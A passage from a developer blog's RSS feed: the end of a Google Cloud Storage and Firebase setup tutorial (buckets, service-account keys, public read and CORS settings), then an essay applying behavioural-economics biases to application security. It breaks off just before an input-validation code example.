&lt;li&gt;
&lt;p&gt;4.1. Choose the project to be active:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/google-cloud-firebase-project-setup-1.png&quot; alt=&quot;google cloud firebase project setup 1&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;4.2. Click on &lt;code&gt;Billing&lt;/code&gt; from the available boxes:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;4.3. Then choose &lt;code&gt;Link a billing account&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/google-cloud-firebase-project-setup-2.png&quot; alt=&quot;google cloud firebase project setup 2&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;4.4. Then set and choose the existing one already (if not, then create one):&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/google-cloud-firebase-project-setup-3.png&quot; alt=&quot;google cloud firebase project setup 3&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;store-images-in-google-cloud-storage&quot;&gt;Store images in Google Cloud Storage&lt;/h2&gt;
&lt;p&gt;In this case we need to achieve 3 things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;ol&gt;
&lt;li&gt;Create a bucket to hold all image files&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;Create a credentials API key in JSON format that we can load on the backend server to access and perform operations on the storage bucket&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;Update the bucket permissions to allow public access&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;create-images-bucket&quot;&gt;Create images bucket&lt;/h3&gt;
&lt;p&gt;Create a bucket to hold uploaded images:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;gcloud storage buckets create gs://cert_images --project credster&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With an output of:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Creating gs://cert_images/...&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;create-service-account-for-cloud-storage&quot;&gt;Create service account for cloud storage&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/google-cloud-firebase-project-setup-2.png&quot; alt=&quot;google cloud firebase project setup 2&quot;&gt;
&lt;img src=&quot;/images/blog/google-cloud-firebase-project-setup-3.png&quot; alt=&quot;google cloud firebase project setup 3&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;ol&gt;
&lt;li&gt;Go to &lt;code&gt;API &amp;#x26; Services&lt;/code&gt; → &lt;code&gt;Credentials&lt;/code&gt; and click on &lt;code&gt;Create Credentials&lt;/code&gt; and choose &lt;code&gt;Service account&lt;/code&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/google-cloud-firebase-project-setup-4.png&quot; alt=&quot;google cloud firebase project setup 4&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;Give it a name (&lt;code&gt;backend-storage-access&lt;/code&gt;)&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;Assign it the role &lt;code&gt;Storage admin&lt;/code&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/google-cloud-firebase-project-setup-5.png&quot; alt=&quot;google cloud firebase project setup 5&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;Save it with &lt;code&gt;Done&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;ol start=&quot;5&quot;&gt;
&lt;li&gt;Now edit the service account and go to &lt;code&gt;KEYS&lt;/code&gt; tab and create a new key and choose &lt;code&gt;JSON&lt;/code&gt; key:&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/google-cloud-firebase-project-setup-6.png&quot; alt=&quot;google cloud firebase project setup 6&quot;&gt;&lt;/p&gt;
&lt;p&gt;and then&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/google-cloud-firebase-project-setup-7.png&quot; alt=&quot;google cloud firebase project setup 7&quot;&gt;&lt;/p&gt;
&lt;p&gt;it now downloaded a JSON file to your computer and gave the following dialog to draw attention on keeping it secure:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/google-cloud-firebase-project-setup-8.png&quot; alt=&quot;google cloud firebase project setup 8&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;update-bucket-permissions-to-view-all&quot;&gt;Update bucket permissions to view-all&lt;/h3&gt;
&lt;p&gt;Add &lt;code&gt;allUsers&lt;/code&gt; to members of the bucket resource and give them role &lt;code&gt;Storage object viewer&lt;/code&gt;.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;gsutil iam ch allUsers:objectViewer gs://$BUCKET_NAME&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;update-bucket-permissions-to-allow-cors&quot;&gt;Update bucket permissions to allow CORS&lt;/h3&gt;
&lt;p&gt;Read about &lt;a href=&quot;https://cloud.google.com/storage/docs/cross-origin&quot;&gt;CORS here&lt;/a&gt; and why it is needed&lt;/p&gt;
&lt;p&gt;Create a local temporary JSON file to define allowed CORS for the bucket called &lt;code&gt;cors-bucket-policy.json&lt;/code&gt;&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;[&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;origin&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;*&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;method&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;GET&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;PUT&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;responseHeader&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Content-Type&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;maxAgeSeconds&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;3600&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can then update it properly to something like this when we go to production:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;[&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;origin&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;&amp;#x3C;https://your-example-website.appspot.com&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;method&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;GET&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;PUT&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;responseHeader&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Content-Type&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;maxAgeSeconds&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;3600&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;gcloud storage buckets update gs://$BUCKET_NAME --cors-file=$CORS_CONFIG_FILE&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;View the CORS configuration for a bucket and confirm:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;gcloud storage buckets describe gs://$BUCKET_NAME --format=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;default(cors)&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If needed to remove CORS completely:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;gcloud storage buckets update gs://$BUCKET_NAME --clear-cors&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;google-cloud-static-website-hosting&quot;&gt;Google Cloud Static Website Hosting&lt;/h2&gt;
&lt;p&gt;More information about Google Cloud static website hosting, with Firebase and otherwise can be found in the following resources:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://cloud.google.com/storage/docs/hosting-static-website&quot;&gt;Host a static website | Cloud Storage | Google Cloud&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://cloud.google.com/storage/docs/hosting-static-website&quot;&gt;Host a static website | Cloud Storage | Google Cloud&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://medium.com/google-cloud/host-a-static-website-on-gcp-with-loadbalancer-and-cdn-e1ce71d38d07&quot;&gt;Host a Static Website on GCP With Load Balancer and CDN&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.fullstaq.com/knowledge-hub/blogs/how-to-host-static-website-google-cloud&quot;&gt;How to Host a Static Website on Google Cloud&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Thinking Fast and Slow in Application Security</title><link>https://lirantal.com/blog/thinking-fast-and-slow-in-application-security/</link><guid>https://lirantal.com/blog/thinking-fast-and-slow-in-application-security/</guid><description>Imagine if we applied behavioral economics principles to application security methodologies and practices, what would be able to unlock? System1 and System2, All Systems Go.</description><pubDate>Thu, 12 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Imagine if we applied behavioral economics principles to application security methodologies and practices, what would be able to unlock? System1 and System2, All Systems Go.&lt;/p&gt;
&lt;p&gt;No doubt, if you read Daniel Kahneman’s book “Thinking, Fast and Slow” you’ve likely been similarly fascinated by his insights into the two systems of thinking. And no doubt. He is, after all, a Nobel prize winning psychologist who revolutionized the field of economics. Together with Amos Tversky, they created immense value and contribution into the understanding the nuances and oddities of human decision making.&lt;/p&gt;
&lt;p&gt;Inspired by this, I set out to see how could we apply the same human behavior principles to the domain of application security.&lt;/p&gt;
&lt;h2 id=&quot;system1-and-system2-in-appsec&quot;&gt;System1 and System2 in AppSec&lt;/h2&gt;
&lt;p&gt;System1 and System2 are two modes of thinking that we humans apply to various tasks during decision making. System1 is known for its speed and intuition while System2 is more deliberate and analytical.&lt;/p&gt;
&lt;p&gt;How do we apply this foundational thinking fast and slow behavioral systems to the application security domain to derive better results?&lt;/p&gt;
&lt;h3 id=&quot;system1-fast-thinking-in-appsec&quot;&gt;System1: Fast Thinking in AppSec&lt;/h3&gt;
&lt;p&gt;To put System1 into the application security context, I’ll suggest some areas where this applies:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Running software composition analysis (SCA) tools: They are fast, deterministic and can be easily automated by security teams and developers alike. Developers in fact pay little overhead to running these tools - whether they get automated pull requests to upgrade vulnerable dependencies, or they spin off a &lt;code&gt;snyk test&lt;/code&gt; command on the CLI to check for vulnerabilities in their project, this process is fast. The scanning process is fast, and the decision making is fast too - upgrade the dependency or not.&lt;/li&gt;
&lt;li&gt;Generating SBOMs: Like SCA scanning, this is also a minimal effort win for developers and security teams. Generating an SBOM is an automated process too and have been largely commodotized.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;system2-slow-thinking-in-appsec&quot;&gt;System2: Slow Thinking in AppSec&lt;/h3&gt;
&lt;p&gt;Where System1 maps to automated tools, almost boolean decision making, System2 requires more work. Let me put some practical appsec exercises into the context:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Threat modeling: mostly a manual process that gets stakeholders in a room to discuss security threats and risks to a system. Can it be automated? Sure, but its effectiveness comes from the human interaction that uncovers hidden layers, assumptions and biases. You often threat model early into the design process of a feature or a project, so at that point, you also have little data to work with.&lt;/li&gt;
&lt;li&gt;Secure code review: One of the most foundational and yet illusive concepts in secure coding is context. Context is key to understanding if a risk we identified is applicable or not. Does the data flow from the user impact the security of the system? Depends. It depends on the context of how the system uses the data, and which system uses the data. A secure code review can be automated to an extent but is more often than not a valuable exercises when expert and deep understanding of the system involved is present.&lt;/li&gt;
&lt;li&gt;Analyzing SAST security findings: Somewhat similar to secure code review, when a developer reviews a list of security findings from a static analysis tool (SAST), they are burdened with figuring out call path flow, data flows, and context of the finding. Much of the information is also not easily available. For example, a developer who reviews the code may not have enough understanding of what type of data is being processed. Perhaps they have a bias to think the data is always text, a string, a literal, but in reality, an attacker may end up sending a payload that gets interpolated to an array by a middleware or a library. Analyzing SAST security findings requires understanding of source-to-sink and some security expertise to be easily actionable by developers in terms of applying mitigation and security controls effectively.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;fixing-appsec-with-systematic-thinking&quot;&gt;Fixing AppSec with Systematic Thinking&lt;/h3&gt;
&lt;p&gt;Kahneman research demonstrated that System1 thinking is in charge 95% of the time where as rational thinking through System2 is only 5% of the time. That makes sense, because System2 thinking takes effort, and is relatively slow. System2 requires more energy and time to process and apply logical thinking.&lt;/p&gt;
&lt;p&gt;From the prism of developers, they are inherently less likely to focus on cross-cutting concerns like security due to the foundational business aspects (focus on features, value, delivery). This is where System1 thinking comes into play, especially for security tasks that developers would want automated so they don’t need to divert their train of thought to System2 thinking in order to address security issues brought up by the security team.&lt;/p&gt;
&lt;p&gt;What impact would we unlock if we could move traditional System2 tasks into System1 for developers?&lt;/p&gt;
&lt;h2 id=&quot;anchoring-bias-in-appsec&quot;&gt;Anchoring Bias in AppSec&lt;/h2&gt;
&lt;p&gt;Anchoring bias is a cognitive bias that describes the common human tendency to rely too heavily on the first piece of information offered when making decisions. So imagine you walk into a store and you see a $1,000 Synology NAS (yes, I’ve been on the market for that :D) and then you see a $450 NAS. Your initial anchor is the $1,000 NAS, so you’re more likely to think the $450 NAS is a good deal.&lt;/p&gt;
&lt;p&gt;So we established that during decision making we anchor initial piece of information as the relative point to which we make subsequent judgments.&lt;/p&gt;
&lt;p&gt;Let me show you a real-world example of this in everyday life of a developer. Imagine a developer is installing a new package in their project. Their workflow is as follows:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;npm install lodash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;added 1 package, and audited 57 packages &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; 15s&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;found 17 vulnerabilities (1 low, 16 high)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  run &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`npm audit fix`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; to fix them, or &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`npm audit`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; details&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;How did the 17 vulnerabilities that they were told about just now impacted them? They shipped to production. Nothing happened. They looked into some of them, found that they are as high as CVSS 9.8 but they are irrelevant to them because they are detected in development dependencies. Their anchor is set to “I’ve seen this before, it’s not a big deal”. Their first impression has been skewed to a point where they are less likely to seriously consider vulnerabilities as a threat to their system.&lt;/p&gt;
&lt;p&gt;This is, in fact, a common problem in developer security and has been coined the term “vulnerability fatigue”. Developers are provided with too much information and findings of security vulnerabilities that get reported to them, most of which were justified to be deemed as irrelevant.&lt;/p&gt;
&lt;h2 id=&quot;loss-aversion-in-appsec&quot;&gt;Loss Aversion in AppSec&lt;/h2&gt;
&lt;p&gt;To put simply, you’re more likely to feel awful about losing a $100 than you would feel good about randomly finding $100 on the back pocket of your jacket. This is loss aversion in action.&lt;/p&gt;
&lt;p&gt;Or let me try to maybe give it a developer spin for an analogy - imagine a developer has now spent 10 hours fixing a ridiculously hard bug in their code. They’ve been debugging, reading logs, and working their brains out to fix this thing relentlessly. Suddenly, and right on point with a developer analogy, they hit the wrong &lt;code&gt;git&lt;/code&gt; command and poof all of the staging area changes are gone. They’ve lost 10 hours of deep work and a proper solution to the bug. In that context, developers are more likely to feel awful about losing 10 hours of work than they would feel good about finding an npm dependency that saved them 10 hours of work.&lt;/p&gt;
&lt;p&gt;How do we apply loss aversion to application security? To an extend, this depends on the sort of spin you want to give it. Do you want to use loss aversion to deter developers from making security mistakes? Or do you want to use it to encourage developers to fix security issues? Some ideas come to mind:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Rely on loss aversion to encourage developers to unveil the invisibility cloak of security issues by showing them the impact of a security vulnerability. You can do this by practicing a hands-on vulnerable and exploitation demonstration that creates the “aha” moment for developers.&lt;/li&gt;
&lt;li&gt;Another option that is practiced more regularly is to set a policy where the CI pipeline breaks when a security vulnerability of a certain severity is detected. This is a form of loss aversion since developers are more likely to fix the issue to begin with by applying secure code review, secure coding practices, or even better - &lt;a href=&quot;https://snyk.io/platform/ide-plugins/&quot;&gt;running static security analysis in their IDE&lt;/a&gt;, to already catch the issue before it gets to the CI pipeline and frustrates them.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Have more dramatic ideas on how to apply loss aversion to application security? I had some red-team thoughts but maybe these are a bit too abusive for developers and better kept in the drawer ;-)&lt;/p&gt;
&lt;h2 id=&quot;availability-bias-in-appsec&quot;&gt;Availability Bias in AppSec&lt;/h2&gt;
&lt;p&gt;If our brain can recall something easily we’re more likely to overestimate its significance.&lt;/p&gt;
&lt;p&gt;How do we instill the availability bias to raise awareness for application security? Here are some suggestions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Regularly share security incidents, data breaches and security news with the team.&lt;/li&gt;
&lt;li&gt;Put developers into the “blue team” shoes by running security exercises like capture the flag (CTF) events but instead of attacking, they’re defending.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Developers will be more likely to remember security incidents that they were actively involved in the process or defending against during one of those fun exercises, and as a consequence will have a higher awareness of security issues day in and day out.&lt;/p&gt;
&lt;h2 id=&quot;confirmation-bias-in-appsec&quot;&gt;Confirmation Bias in AppSec&lt;/h2&gt;
&lt;p&gt;What would confirmation bias look like fo developers?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Developers are possibly more likely to confirm their own beliefs about how the organization handles security. For example, if a developer believes that security of the application (or the business) is the responsibility of the security team, they are more likely to confirm this belief by not taking security at all into account in their daily work. That’s someone else’s job, right?&lt;/li&gt;
&lt;li&gt;What if developers were swayed by application security own’s catch 22? For example, if a developer believes that the application is secure because they’ve never seen a security incident, they never had a data breach, or they were never confronted with a security issue, they are more likely to confirm this belief by, once again, not practicing security in their day to day development practices.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;planning-fallacy-in-appsec&quot;&gt;Planning Fallacy in AppSec&lt;/h2&gt;
&lt;p&gt;Ever heard a developer say “this one is going to be a quick fix” - famous last words, right? Only to discover that there’s just so much more involved, your peer is out of office today, and some system credentials you needed are unavailable to you so the task ends up taking 3 days to fix.&lt;/p&gt;
&lt;p&gt;Applying planning fallacy to application security can be reasoned with tasks relating to handling invalid user input. Let’s put that into a practical example - a developer implements a GET HTTP request which receives user input in the form of query parameters. Here’s a code example to illustrate:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;app.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;/search&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;req&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;res&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; req.query.q;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// do something with query&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Developers fall into the trap of planning fallacy in two ways:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;They either overestimate the simplicity of this task and don’t even consider handling invalid user input, validating or sanitizing the input as needed.&lt;/li&gt;
&lt;li&gt;Or maybe they do take input validation into account but they underestimate the complexity of the task and end up with a half-baked solution. For example, consider the following code snippet:&lt;/li&gt;
&lt;/ul&gt;
